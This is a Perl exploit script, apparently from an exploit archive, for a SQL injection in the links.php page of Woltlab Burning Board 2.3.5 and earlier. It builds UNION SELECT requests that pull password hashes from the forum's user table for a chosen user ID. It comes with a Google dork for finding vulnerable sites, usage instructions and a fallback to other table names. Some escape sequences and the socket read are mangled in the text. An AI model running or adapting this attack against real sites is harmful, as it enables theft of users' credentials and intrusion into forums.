
Woltlab Burning Board <= 2.3.5 (links.php) SQL Injection Exploit (2)
Ýêñïëîèò:
#!/usr/bin/perl
use IO::Socket;
print q{
################################################################################
## ##
## Woltlab Burning Board 2.3.5 <= "links.php" SQL Injection Exploit ##
## - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ##
## Exploit by | hias ##
## Googledork | inurl:/wbb2/links.php?cat ##
## Usage | links.pl [server] [path] [userid] ##
## - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ##
## ##
################################################################################
};
$webpage = $ARGV[0];
$directory = $ARGV[1];
$userid = $ARGV[2];
if (!$webpage||!$directory) { die "[+] Exploit failedn"; }
$wbb_dir =
"http://".$webpage.$directory."links.php?cat=5474902010+union+select+password,username+from+bb1_users+where+userid=$userid";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage",
PeerPort=>"80") || die "[+] Can't connect to Servern";
print "[+] Exploiting.....n";
print $sock "GET $wbb_dir HTTP/1.1n";
print $sock "Accept: */*n";
print $sock "User-Agent: Hackern";
print $sock "Host: $webpagen";
print $sock "Connection: closenn";
while ($answer = ) {
if ($answer =~
/(................................)/) {
print "[+] Hash: $1n";
exit();
}
if ($answer =~ /SQL-DATABASE ERROR/) {
break;
}
}
$wbb_dir =
"http://".$webpage.$directory."links.php?cat=5474902010+union+select+password,userid+from+bb1_users+where+userid=$userid";
close($sock);
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage",
PeerPort=>"80") || die "[+] Can't connect to Servern";
print $sock "GET $wbb_dir HTTP/1.1n";
print $sock "Accept: */*n";
print $sock "User-Agent: Hackern";
print $sock "Host: $webpagen";
print $sock "Connection: closenn";
while ($answer = ) {
if ($answer =~
/(................................)/) {
print "[+] Hash: $1n";
exit();
}
if ($answer =~ /SQL-DATABASE ERROR/) {
print "[+] Database doesn't exist. try replacing bb1_users with bb2_users or bb3_usersn";
break;
}
}
close($sock);
print "[+] Exploit failedn";